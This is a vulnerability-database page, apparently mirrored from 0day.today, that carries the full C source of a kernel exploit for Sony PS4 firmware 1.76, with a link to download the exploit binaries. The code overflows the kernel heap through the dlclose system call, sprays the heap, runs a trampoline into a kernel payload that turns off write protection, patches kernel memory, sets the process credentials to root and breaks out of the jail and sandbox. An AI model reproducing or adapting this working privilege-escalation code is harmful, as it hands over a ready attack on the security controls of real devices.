Lucene search
K

Sony Playstation 4 (PS4) 1.76 - dlclose Linux Loader Exploit

🗓️ 01 Mar 2018 00:00:00Reported by Carlos PizarroType 
zdt
 zdt
🔗 0day.today👁 44 Views

Sony PS4 1.76 dlclose Linux Exploi

Code
/*
    Code written based on info available here http://cturt.github.io/dlclose-overflow.html
 
    See attached LICENCE file
    Thanks to CTurt and qwertyoruiop
 
    - @kr105rlz
 
Download: //github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/44206.zip
*/
 
#include "ps4.h"
 
#define DEBUG_SOCKET
#include "defines.h"
 
static int sock;
static void *dump;
 
void payload(struct knote *kn) {
    struct thread *td;
    struct ucred *cred;
 
    // Get td pointer
    asm volatile("mov %0, %%gs:0" : "=r"(td));
 
    // Enable UART output
    uint16_t *securityflags = (uint16_t*)0xFFFFFFFF833242F6;
    *securityflags = *securityflags & ~(1 << 15); // bootparam_disable_console_output = 0
 
    // Print test message to the UART line
    printfkernel("\n\n\n\n\n\n\n\n\nHello from kernel :-)\n\n\n\n\n\n\n\n\n");
 
    // Disable write protection
    uint64_t cr0 = readCr0();
    writeCr0(cr0 & ~X86_CR0_WP);
     
    // sysctl_machdep_rcmgr_debug_menu and sysctl_machdep_rcmgr_store_moe
    *(uint16_t *)0xFFFFFFFF82607C46 = 0x9090;
    *(uint16_t *)0xFFFFFFFF82607826 = 0x9090;
     
    *(char *)0xFFFFFFFF8332431A = 1;
    *(char *)0xFFFFFFFF83324338 = 1;
     
    // Restore write protection
    writeCr0(cr0);
     
    // Resolve creds
    cred = td->td_proc->p_ucred;
 
    // Escalate process to root
    cred->cr_uid = 0;
    cred->cr_ruid = 0;
    cred->cr_rgid = 0;
    cred->cr_groups[0] = 0;
 
    void *td_ucred = *(void **)(((char *)td) + 304); // p_ucred == td_ucred
     
    // sceSblACMgrIsSystemUcred
    uint64_t *sonyCred = (uint64_t *)(((char *)td_ucred) + 96);
    *sonyCred = 0xffffffffffffffff;
     
    // sceSblACMgrGetDeviceAccessType
    uint64_t *sceProcType = (uint64_t *)(((char *)td_ucred) + 88);
    *sceProcType = 0x3801000000000013; // Max access
     
    // sceSblACMgrHasSceProcessCapability
    uint64_t *sceProcCap = (uint64_t *)(((char *)td_ucred) + 104);
    *sceProcCap = 0xffffffffffffffff; // Sce Process
     
    ((uint64_t *)0xFFFFFFFF832CC2E8)[0] = 0x123456; //priv_check_cred bypass with suser_enabled=true
    ((uint64_t *)0xFFFFFFFF8323DA18)[0] = 0; // bypass priv_check
 
    // Jailbreak ;)
    cred->cr_prison = (void *)0xFFFFFFFF83237250; //&prison0
 
    // Break out of the sandbox
    void *td_fdp = *(void **)(((char *)td->td_proc) + 72);
    uint64_t *td_fdp_fd_rdir = (uint64_t *)(((char *)td_fdp) + 24);
    uint64_t *td_fdp_fd_jdir = (uint64_t *)(((char *)td_fdp) + 32);
    uint64_t *rootvnode = (uint64_t *)0xFFFFFFFF832EF920;
    *td_fdp_fd_rdir = *rootvnode;
    *td_fdp_fd_jdir = *rootvnode;
}
 
// Perform kernel allocation aligned to 0x800 bytes
int kernelAllocation(size_t size, int fd) {
    SceKernelEqueue queue = 0;
    sceKernelCreateEqueue(&queue, "kexec");
 
    sceKernelAddReadEvent(queue, fd, 0, NULL);
 
    return queue;
}
 
void kernelFree(int allocation) {
    close(allocation);
}
 
void *exploitThread(void *none) {
    printfsocket("[+] Entered exploitThread\n");
 
    uint64_t bufferSize = 0x8000;
    uint64_t overflowSize = 0x8000;
    uint64_t copySize = bufferSize + overflowSize;
     
    // Round up to nearest multiple of PAGE_SIZE
    uint64_t mappingSize = (copySize + PAGE_SIZE - 1) & ~(PAGE_SIZE - 1);
     
    uint8_t *mapping = mmap(NULL, mappingSize + PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
    munmap(mapping + mappingSize, PAGE_SIZE);
     
    uint8_t *buffer = mapping + mappingSize - copySize;
     
    int64_t count = (0x100000000 + bufferSize) / 4;
 
    // Create structures
    struct knote kn;
    struct filterops fo;
    struct knote **overflow = (struct knote **)(buffer + bufferSize);
    overflow[2] = &kn;
    kn.kn_fop = &fo;
 
    // Setup trampoline to gracefully return to the calling thread
    void *trampw = NULL;
    void *trampe = NULL;
    int executableHandle;
    int writableHandle;
    uint8_t trampolinecode[] = {
        0x58, // pop rax
        0x48, 0xB8, 0x19, 0x39, 0x40, 0x82, 0xFF, 0xFF, 0xFF, 0xFF, // movabs rax, 0xffffffff82403919
        0x50, // push rax
        0x48, 0xB8, 0xBE, 0xBA, 0xAD, 0xDE, 0xDE, 0xC0, 0xAD, 0xDE, // movabs rax, 0xdeadc0dedeadbabe
        0xFF, 0xE0 // jmp rax
    };
 
    // Get Jit memory
    sceKernelJitCreateSharedMemory(0, PAGE_SIZE, PROT_CPU_READ | PROT_CPU_WRITE | PROT_CPU_EXEC, &executableHandle);
    sceKernelJitCreateAliasOfSharedMemory(executableHandle, PROT_CPU_READ | PROT_CPU_WRITE, &writableHandle);
 
    // Map r+w & r+e
    trampe = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_EXEC, MAP_SHARED, executableHandle, 0);
    trampw = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_TYPE, writableHandle, 0);
 
    // Copy trampoline to allocated address
    memcpy(trampw, trampolinecode, sizeof(trampolinecode)); 
    *(void **)(trampw + 14) = (void *)payload;
 
    // Call trampoline when overflown
    fo.f_detach = trampe;
 
    // Start the exploit
    int sockets[0x2000];
    int allocation[50], m = 0, m2 = 0;
    int fd = (bufferSize - 0x800) / 8;
 
    printfsocket("[+] Creating %d sockets\n", fd);
 
    // Create sockets
    for(int i = 0; i < 0x2000; i++) {
        sockets[i] = sceNetSocket("sss", AF_INET, SOCK_STREAM, 0);
        if(sockets[i] >= fd) {
            sockets[i + 1] = -1;
            break;
        }
    }
 
    // Spray the heap
    for(int i = 0; i < 50; i++) {
        allocation[i] = kernelAllocation(bufferSize, fd);
        printfsocket("[+] allocation = %llp\n", allocation[i]);
    }
 
    // Create hole for the system call's allocation
    m = kernelAllocation(bufferSize, fd);
    m2 = kernelAllocation(bufferSize, fd);
    kernelFree(m);
 
    // Perform the overflow
    int result = syscall(597, 1, mapping, &count);
    printfsocket("[+] Result: %d\n", result);
 
    // Execute the payload
    printfsocket("[+] Freeing m2\n");
    kernelFree(m2);
     
    // Close sockets
    for(int i = 0; i < 0x2000; i++) {
        if(sockets[i] == -1)
            break;
        sceNetSocketClose(sockets[i]);
    }
     
    // Free allocations
    for(int i = 0; i < 50; i++) {
        kernelFree(allocation[i]);
    }
     
    // Free the mapping
    munmap(mapping, mappingSize);
     
    return NULL;
}
 
int _main(void) {
    ScePthread thread;
 
    initKernel();   
    initLibc();
    initNetwork();
    initJIT();
    initPthread();
 
#ifdef DEBUG_SOCKET
    struct sockaddr_in server;
 
    server.sin_len = sizeof(server);
    server.sin_family = AF_INET;
    server.sin_addr.s_addr = IP(192, 168, 0, 4);
    server.sin_port = sceNetHtons(9023);
    memset(server.sin_zero, 0, sizeof(server.sin_zero));
    sock = sceNetSocket("debug", AF_INET, SOCK_STREAM, 0);
    sceNetConnect(sock, (struct sockaddr *)&server, sizeof(server));
     
    int flag = 1;
    sceNetSetsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (char *)&flag, sizeof(int));
     
    dump = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
#endif
 
    printfsocket("[+] Starting...\n");
    printfsocket("[+] UID = %d\n", getuid());
    printfsocket("[+] GID = %d\n", getgid());
 
    // Create exploit thread
    if(scePthreadCreate(&thread, NULL, exploitThread, NULL, "exploitThread") != 0) {
        printfsocket("[-] pthread_create error\n");
        return 0;
    }
 
    // Wait for thread to exit
    scePthreadJoin(thread, NULL);
 
    // At this point we should have root and jailbreak
    if(getuid() != 0) {
        printfsocket("[-] Kernel patch failed!\n");
        sceNetSocketClose(sock);
        return 1;
    }
 
    printfsocket("[+] Kernel patch success!\n");
 
    // Enable debug menu
    int (*sysctlbyname)(const char *name, void *oldp, size_t *oldlenp, const void *newp, size_t newlen) = NULL;
    RESOLVE(libKernelHandle, sysctlbyname);
     
    uint32_t enable;
    size_t size;
     
    enable = 1;
    size = sizeof(enable);
     
    sysctlbyname("machdep.rcmgr_utoken_store_mode", NULL, NULL, &enable, size);
    sysctlbyname("machdep.rcmgr_debug_menu", NULL, NULL, &enable, size);
     
#ifdef DEBUG_SOCKET
    munmap(dump, PAGE_SIZE);    
#endif
     
    printfsocket("[+] bye\n");
    sceNetSocketClose(sock);
     
    return 0;
}

#  0day.today [2018-03-12]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Mar 2018 00:00Current
6.8Medium risk
Vulners AI Score6.8
44